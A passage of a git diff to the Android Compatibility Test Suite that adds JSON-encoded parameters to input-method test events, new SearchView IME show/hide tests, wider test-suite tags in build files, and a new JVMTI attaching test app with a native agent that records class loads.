import android.inputmethodservice.cts.common.DeviceEventConstants;
import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
import android.inputmethodservice.cts.common.test.TestInfo;
import android.inputmethodservice.cts.db.Entity;
@@ -35,8 +38,16 @@
import android.inputmethodservice.cts.db.Table;
import android.os.SystemClock;
import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
import android.util.Log;
+import com.android.json.stream.JsonReader;
+import com.android.json.stream.JsonWriter;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.io.StringWriter;
import java.util.function.Predicate;
import java.util.stream.Stream;
@@ -51,21 +62,85 @@
public static final Table<DeviceEvent> TABLE = new DeviceEventTable(EventTableConstants.NAME);
+ public static IntentBuilder builder() {
+ return new IntentBuilder();
+ }
+
/**
- * Create an intent to send a device event.
- * @param sender an event sender.
- * @param type an event type defined at {@link DeviceEventType}.
- * @return an intent that has event {@code sender}, {@code type}, time from
- * {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+ * Builder to create an intent to send a device event.
+ * The built intent that has event {@code sender}, {@code type}, {@code paramsString}, time from
+ * {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+ *
*/
- public static Intent newDeviceEventIntent(@NonNull final String sender,
- @NonNull final DeviceEventType type) {
- return new Intent()
- .setAction(ACTION_DEVICE_EVENT)
- .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
- .putExtra(EXTRA_EVENT_SENDER, sender)
- .putExtra(EXTRA_EVENT_TYPE, type.name())
- .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+ public static final class IntentBuilder {
+ String mSender;
+ DeviceEventType mType;
+ JsonWriter mJsonWriter;
+ StringWriter mStringWriter;
+
+ /**
+ * @param type an event type defined at {@link DeviceEventType}.
+ */
+ public IntentBuilder setType(DeviceEventType type) {
+ mType = type;
+ return this;
+ }
+
+ /**
+ * @param sender an event sender.
+ */
+ public void setSender(String sender) {
+ mSender = sender;
+ }
+
+ public IntentBuilder with(DeviceEventTypeParam eventParam, boolean value) {
+ appendToJson(eventParam, value);
+ return this;
+ }
+
+ public Intent build() {
+ Intent intent = new Intent()
+ .setAction(ACTION_DEVICE_EVENT)
+ .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
+ .putExtra(EXTRA_EVENT_SENDER, mSender)
+ .putExtra(EXTRA_EVENT_TYPE, mType.name())
+ .putExtra(EXTRA_EVENT_PARAMS, getJsonString())
+ .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+
+ mJsonWriter = null;
+ mStringWriter = null;
+ return intent;
+ }
+
+ private String getJsonString() {
+ if (mJsonWriter == null) {
+ return "";
+ }
+ try {
+ mJsonWriter.endObject();
+ mJsonWriter.flush();
+ } catch (IOException e) {
+ throw new RuntimeException("IntentBuilder.getJsonString() failed.", e);
+ }
+ return mStringWriter.toString();
+ }
+
+ private void appendToJson(DeviceEventTypeParam eventParam, boolean value) {
+ final String key = eventParam.getName();
+ if (TextUtils.isEmpty(key)) {
+ return;
+ }
+ try {
+ if (mJsonWriter == null) {
+ mStringWriter = new StringWriter();
+ mJsonWriter = new JsonWriter(mStringWriter);
+ mJsonWriter.beginObject();
+ }
+ mJsonWriter.name(key).value(value);
+ } catch (IOException e) {
+ throw new RuntimeException("IntentBuilder.appendToJson() failed.", e);
+ }
+ }
}
/**
@@ -93,7 +168,16 @@
"Intent must have " + EXTRA_EVENT_TIME + ": " + intent);
}
- return new DeviceEvent(sender, type, intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
+ String paramsString = intent.getStringExtra(DeviceEventConstants.EXTRA_EVENT_PARAMS);
+ if (paramsString == null) {
+ paramsString = "";
+ }
+
+ return new DeviceEvent(
+ sender,
+ type,
+ paramsString,
+ intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
}
/**
@@ -158,13 +242,21 @@
public final DeviceEventType type;
/**
+ * Event parameters formatted as json string.
+ * e.g. {@link DeviceEventTypeParam#ON_START_INPUT_RESTARTING}
+ */
+ public final String paramsString;
+
+ /**
* Event time, value is from {@link SystemClock#uptimeMillis()}.
*/
public final long time;
- private DeviceEvent(final String sender, final DeviceEventType type, final long time) {
+ private DeviceEvent(
+ final String sender, final DeviceEventType type, String paramsString, final long time) {
this.sender = sender;
this.type = type;
+ this.paramsString = paramsString;
this.time = time;
}
@@ -174,6 +266,37 @@
}
/**
+ * @param eventParam {@link DeviceEventTypeParam} to look for.
+ * @param event {@link DeviceEvent} to look in.
+ * @return Event parameter for provided key. If key is not found in
+ * {@link DeviceEvent#paramsString}, null is returned.
+ *
+ * TODO: Support other primitive and custom types.
+ */
+ @Nullable
+ public static Boolean getEventParamBoolean(
+ DeviceEventTypeParam eventParam, final DeviceEvent event) {
+ StringReader stringReader = new StringReader(event.paramsString);
+ JsonReader reader = new JsonReader(stringReader);
+
+ try {
+ reader.beginObject();
+ while (reader.hasNext()) {
+ String name = reader.nextName();
+ if (name.equals(eventParam.getName())) {
+ Boolean value = reader.nextBoolean();
+ reader.endObject();
+ return value;
+ }
+ }
+ reader.endObject();
+ } catch (IOException e) {
+ throw new RuntimeException("DeviceEvent.getEventParamBoolean() failed.", e);
+ }
+ return null;
+ }
+
+ /**
* Abstraction of device event table in database.
*/
private static final class DeviceEventTable extends Table<DeviceEvent> {
@@ -183,16 +306,19 @@
private final Field SENDER;
private final Field TYPE;
private final Field TIME;
+ private final Field PARAMS;
private DeviceEventTable(final String name) {
super(name, new Entity.Builder<DeviceEvent>()
.addField(EventTableConstants.SENDER, Cursor.FIELD_TYPE_STRING)
.addField(EventTableConstants.TYPE, Cursor.FIELD_TYPE_STRING)
.addField(EventTableConstants.TIME, Cursor.FIELD_TYPE_INTEGER)
+ .addField(EventTableConstants.EXTRAS, Cursor.FIELD_TYPE_STRING)
.build());
SENDER = getField(EventTableConstants.SENDER);
TYPE = getField(EventTableConstants.TYPE);
TIME = getField(EventTableConstants.TIME);
+ PARAMS = getField(EventTableConstants.EXTRAS);
}
@Override
@@ -200,6 +326,7 @@
final ContentValues values = new ContentValues();
SENDER.putString(values, event.sender);
TYPE.putString(values, event.type.name());
+ PARAMS.putString(values, event.paramsString);
TIME.putLong(values, event.time);
return values;
}
@@ -214,6 +341,7 @@
final DeviceEvent event = new DeviceEvent(
SENDER.getString(cursor),
DeviceEventType.valueOf(TYPE.getString(cursor)),
+ PARAMS.getString(cursor),
TIME.getLong(cursor));
builder.accept(event);
if (DEBUG_STREAM) {
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
index 6ae3568..b37873c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -16,18 +16,21 @@
package android.inputmethodservice.cts.ime;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.HIDE_SOFT_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT_VIEW;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT_VIEW;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.SHOW_SOFT_INPUT;
-import android.content.Intent;
import android.inputmethodservice.InputMethodService;
import android.inputmethodservice.cts.DeviceEvent;
-import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
import android.inputmethodservice.cts.ime.ImeCommandReceiver.ImeCommandCallbacks;
+
+import android.os.ResultReceiver;
import android.util.Log;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputConnection;
@@ -42,13 +45,33 @@
new ImeCommandReceiver<>();
private String mLogTag;
+ private class CtsInputMethodImpl extends InputMethodImpl {
+ @Override
+ public void showSoftInput(int flags, ResultReceiver resultReceiver) {
+ sendEvent(DeviceEvent.builder().setType(SHOW_SOFT_INPUT));
+ if (DEBUG) {
+ Log.d(mLogTag, "showSoftInput called");
+ }
+ super.showSoftInput(flags, resultReceiver);
+ }
+
+ @Override
+ public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
+ sendEvent(DeviceEvent.builder().setType(HIDE_SOFT_INPUT));
+ if (DEBUG) {
+ Log.d(mLogTag, "hideSoftInput called");
+ }
+ super.hideSoftInput(flags, resultReceiver);
+ }
+ }
+
@Override
public void onCreate() {
mLogTag = getClass().getSimpleName();
if (DEBUG) {
Log.d(mLogTag, "onCreate:");
}
- sendEvent(ON_CREATE);
+ sendEvent(DeviceEvent.builder().setType(ON_CREATE));
super.onCreate();
@@ -62,8 +85,10 @@
+ " editorInfo=" + editorInfo
+ " restarting=" + restarting);
}
- sendEvent(ON_START_INPUT, editorInfo, restarting);
+ sendEvent(DeviceEvent.builder()
+ .setType(ON_START_INPUT)
+ .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting));
super.onStartInput(editorInfo, restarting);
}
@@ -74,7 +99,8 @@
+ " editorInfo=" + editorInfo
+ " restarting=" + restarting);
}
- sendEvent(ON_START_INPUT_VIEW, editorInfo, restarting);
+
+ sendEvent(DeviceEvent.builder().setType(ON_START_INPUT_VIEW));
super.onStartInputView(editorInfo, restarting);
}
@@ -84,7 +110,7 @@
if (DEBUG) {
Log.d(mLogTag, "onFinishInputView: finishingInput=" + finishingInput);
}
- sendEvent(ON_FINISH_INPUT_VIEW, finishingInput);
+ sendEvent(DeviceEvent.builder().setType(ON_FINISH_INPUT_VIEW));
super.onFinishInputView(finishingInput);
}
@@ -94,7 +120,7 @@
if (DEBUG) {
Log.d(mLogTag, "onFinishInput:");
}
- sendEvent(ON_FINISH_INPUT);
+ sendEvent(DeviceEvent.builder().setType(ON_FINISH_INPUT));
super.onFinishInput();
}
@@ -104,13 +130,23 @@
if (DEBUG) {
Log.d(mLogTag, "onDestroy:");
}
- sendEvent(ON_DESTROY);
+ sendEvent(DeviceEvent.builder().setType(ON_DESTROY));
super.onDestroy();
unregisterReceiver(mImeCommandReceiver);
}
+ @Override
+ public AbstractInputMethodImpl onCreateInputMethodInterface() {
+ final CtsInputMethodImpl inputMethod = new CtsInputMethodImpl();
+ if (DEBUG) {
+ Log.d(mLogTag, "onCreateInputMethodInterface");
+ }
+
+ return inputMethod;
+ }
+
//
// Implementations of {@link ImeCommandCallbacks}.
//
@@ -142,10 +178,8 @@
}
}
- private void sendEvent(final DeviceEventType type, final Object... args) {
- final String sender = getClass().getName();
- final Intent intent = DeviceEvent.newDeviceEventIntent(sender, type);
- // TODO: Send arbitrary {@code args} in {@code intent}.
- sendBroadcast(intent);
+ private void sendEvent(final DeviceEvent.IntentBuilder intentBuilder) {
+ intentBuilder.setSender(getClass().getName());
+ sendBroadcast(intentBuilder.build());
}
}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
index 03b3946..2261a79 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -31,7 +31,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
index 19478f1..5ff22a2 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsInputMethodServiceHostTestCases
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index c9b496c..28bc736 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -36,6 +36,7 @@
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.common.test.TestInfo;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -44,6 +45,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+@CddTest(requirement="7.2.1/H-0-1,C-1-2")
@RunWith(DeviceJUnit4ClassRunner.class)
public class InputMethodServiceLifecycleTest extends CompatibilityHostTestBase {
@@ -81,13 +83,7 @@
@Test
public void testUninstallCurrentIme() throws Exception {
- final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
- DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
- sendTestStartEvent(testCreateIme1);
- installPackage(Ime1Constants.APK, "-r");
- shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
- assertTrue(runDeviceTestMethod(testCreateIme1));
+ installAndSetIme1();
final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
@@ -104,13 +100,7 @@
@Test
public void testDisableCurrentIme() throws Exception {
- final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
- DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
- sendTestStartEvent(testCreateIme1);
- installPackage(Ime1Constants.APK, "-r");
- shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
- assertTrue(runDeviceTestMethod(testCreateIme1));
+ installAndSetIme1();
final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
@@ -125,6 +115,38 @@
assertNotEquals(newIme, Ime1Constants.IME_ID);
}
+ @Test
+ public void testSearchView_giveFocusShowIme() throws Exception {
+ installAndSetIme1();
+
+ final TestInfo testGiveFocusShowIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+ DeviceTestConstants.TEST_CLASS,
+ DeviceTestConstants.TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1);
+ sendTestStartEvent(testGiveFocusShowIme1);
+ assertTrue(runDeviceTestMethod(testGiveFocusShowIme1));
+ }
+
+ @Test
+ public void testSearchView_setQueryHideIme() throws Exception {
+ installAndSetIme1();
+
+ final TestInfo testSetQueryHideIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+ DeviceTestConstants.TEST_CLASS,
+ DeviceTestConstants.TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1);
+ sendTestStartEvent(testSetQueryHideIme1);
+ assertTrue(runDeviceTestMethod(testSetQueryHideIme1));
+ }
+
+ private void installAndSetIme1() throws Exception {
+ final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+ DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
+ sendTestStartEvent(testCreateIme1);
+ installPackage(Ime1Constants.APK, "-r");
+ shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
+ shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ assertTrue(runDeviceTestMethod(testCreateIme1));
+ }
+
private void sendTestStartEvent(final TestInfo deviceTest) throws Exception {
final String sender = deviceTest.getTestName();
// {@link EventType#EXTRA_EVENT_TIME} will be recorded at device side.
diff --git a/hostsidetests/jdwpsecurity/Android.mk b/hostsidetests/jdwpsecurity/Android.mk
index 3c8ead8..c740f61 100644
--- a/hostsidetests/jdwpsecurity/Android.mk
+++ b/hostsidetests/jdwpsecurity/Android.mk
@@ -26,7 +26,7 @@
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.host.jdwpsecurity
diff --git a/hostsidetests/jdwpsecurity/app/Android.mk b/hostsidetests/jdwpsecurity/app/Android.mk
index 22f236a..e1523ab 100644
--- a/hostsidetests/jdwpsecurity/app/Android.mk
+++ b/hostsidetests/jdwpsecurity/app/Android.mk
@@ -19,5 +19,5 @@
LOCAL_MODULE := CtsJdwpApp
LOCAL_SRC_FILES := $(call all-subdir-java-files)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
index c5619ad..634b0f6 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.mk b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
index 71ab1b5..a5fd7c3 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
new file mode 100644
index 0000000..072c926
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestAllocationTracking@1
diff --git a/hostsidetests/jvmti/attaching/Android.mk b/hostsidetests/jvmti/attaching/Android.mk
new file mode 100644
index 0000000..38e1a4f
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/app/Android.mk b/hostsidetests/jvmti/attaching/app/Android.mk
new file mode 100644
index 0000000..59cb61b
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiattachagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiAttachingDeviceApp
+
+include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/app/AndroidManifest.xml b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
new file mode 100755
index 0000000..feb7b24
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jvmti.cts.attaching">
+
+ <application android:name="android.jvmti.JvmtiApplication" android:debuggable="true">
+ <activity android:exported="true" android:name="android.jvmti.JvmtiActivity" >
+ </activity>
+ </application>
+</manifest>
+
diff --git a/hostsidetests/jvmti/attaching/app/jni/Android.mk b/hostsidetests/jvmti/attaching/app/jni/Android.mk
new file mode 100644
index 0000000..16f2bc1
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/jni/Android.mk
@@ -0,0 +1,63 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsjvmtiattachagent
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := cts_agent.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_HEADER_LIBRARIES := libopenjdkjvmti_headers
+
+LOCAL_SHARED_LIBRARIES := liblog \
+ libdl
+
+# The test implementation. We get this provided by ART.
+# Note: Needs to be "whole" as this exposes JNI functions.
+LOCAL_WHOLE_STATIC_LIBRARIES := libctstiagent
+
+# Platform libraries that are not available to apps. Link in statically.
+LOCAL_STATIC_LIBRARIES += libbase
+
+LOCAL_STRIP_MODULE := keep_symbols
+
+# Turn on all warnings.
+LOCAL_CFLAGS := -fno-rtti \
+ -ggdb3 \
+ -Wall \
+ -Wextra \
+ -Werror \
+ -Wunreachable-code \
+ -Wredundant-decls \
+ -Wshadow \
+ -Wunused \
+ -Wimplicit-fallthrough \
+ -Wfloat-equal \
+ -Wint-to-void-pointer-cast \
+ -Wused-but-marked-unused \
+ -Wdeprecated \
+ -Wunreachable-code-break \
+ -Wunreachable-code-return \
+ -g \
+ -O0 \
+
+LOCAL_CXX_STL := libc++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp b/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp
new file mode 100644
index 0000000..bb32c54
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <jvmti.h>
+
+#include <algorithm>
+#include <mutex>
+#include <vector>
+
+#include "android-base/logging.h"
+#include "jvmti_helper.h"
+#include "scoped_utf_chars.h"
+#include "test_env.h"
+
+namespace art {
+
+static std::mutex gVectorMutex;
+static std::vector<std::string> gLoadedDescriptors;
+
+static std::string GetClassName(jvmtiEnv* jenv, JNIEnv* jni_env, jclass klass) {
+ char* name;
+ jvmtiError result = jenv->GetClassSignature(klass, &name, nullptr);
+ if (result != JVMTI_ERROR_NONE) {
+ if (jni_env != nullptr) {
+ JvmtiErrorToException(jni_env, jenv, result);
+ } else {
+ printf("Failed to get class signature.\n");
+ }
+ return "";
+ }
+
+ std::string tmp(name);
+ jenv->Deallocate(reinterpret_cast<unsigned char*>(name));
+
+ return tmp;
+}
+
+static void EnableEvents(JNIEnv* env,
+ jboolean enable,
+ decltype(jvmtiEventCallbacks().ClassLoad) class_load,
+ decltype(jvmtiEventCallbacks().ClassPrepare) class_prepare) {
+ if (enable == JNI_FALSE) {
+ jvmtiError ret = jvmti_env->SetEventNotificationMode(JVMTI_DISABLE,
+ JVMTI_EVENT_CLASS_LOAD,
+ nullptr);
+ if (JvmtiErrorToException(env, jvmti_env, ret)) {
+ return;
+ }
+ ret = jvmti_env->SetEventNotificationMode(JVMTI_DISABLE,
+ JVMTI_EVENT_CLASS_PREPARE,
+ nullptr);
+ JvmtiErrorToException(env, jvmti_env, ret);
+ return;
+ }
+
+ jvmtiEventCallbacks callbacks;
+ memset(&callbacks, 0, sizeof(jvmtiEventCallbacks));
+ callbacks.ClassLoad = class_load;
+ callbacks.ClassPrepare = class_prepare;
+ jvmtiError ret = jvmti_env->SetEventCallbacks(&callbacks, sizeof(callbacks));
+ if (JvmtiErrorToException(env, jvmti_env, ret)) {
+ return;
+ }
+
+ ret = jvmti_env->SetEventNotificationMode(JVMTI_ENABLE,
+ JVMTI_EVENT_CLASS_LOAD,
+ nullptr);
+ if (JvmtiErrorToException(env, jvmti_env, ret)) {
+ return;
+ }
+ ret = jvmti_env->SetEventNotificationMode(JVMTI_ENABLE,
+ JVMTI_EVENT_CLASS_PREPARE,
+ nullptr);
+ JvmtiErrorToException(env, jvmti_env, ret);
+}
+
+static void JNICALL ClassPrepareCallback(jvmtiEnv* jenv,
+ JNIEnv* jni_env,
+ jthread thread ATTRIBUTE_UNUSED,
+ jclass klass) {
+ std::string name = GetClassName(jenv, jni_env, klass);
+ if (name == "") {
+ return;
+ }
+ std::lock_guard<std::mutex> guard(gVectorMutex);
+ gLoadedDescriptors.push_back(name);
+}
+
+extern "C" JNIEXPORT jboolean JNICALL Java_android_jvmti_JvmtiActivity_didSeeLoadOf(
+ JNIEnv* env, jclass Main_klass ATTRIBUTE_UNUSED, jstring descriptor) {
+ std::lock_guard<std::mutex> guard(gVectorMutex);
+ ScopedUtfChars str(env, descriptor);
+ std::string tmp = str.c_str();
+ bool found = std::find(gLoadedDescriptors.begin(), gLoadedDescriptors.end(), tmp) !=
+ gLoadedDescriptors.end();
+ return found ? JNI_TRUE : JNI_FALSE;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm,
+ char* options ATTRIBUTE_UNUSED,
+ void* reserved ATTRIBUTE_UNUSED) {
+ if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+ LOG(FATAL) << "Could not get shared jvmtiEnv";
+ }
+
+ SetAllCapabilities(jvmti_env);
+ return 0;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm,
+ char* options ATTRIBUTE_UNUSED,
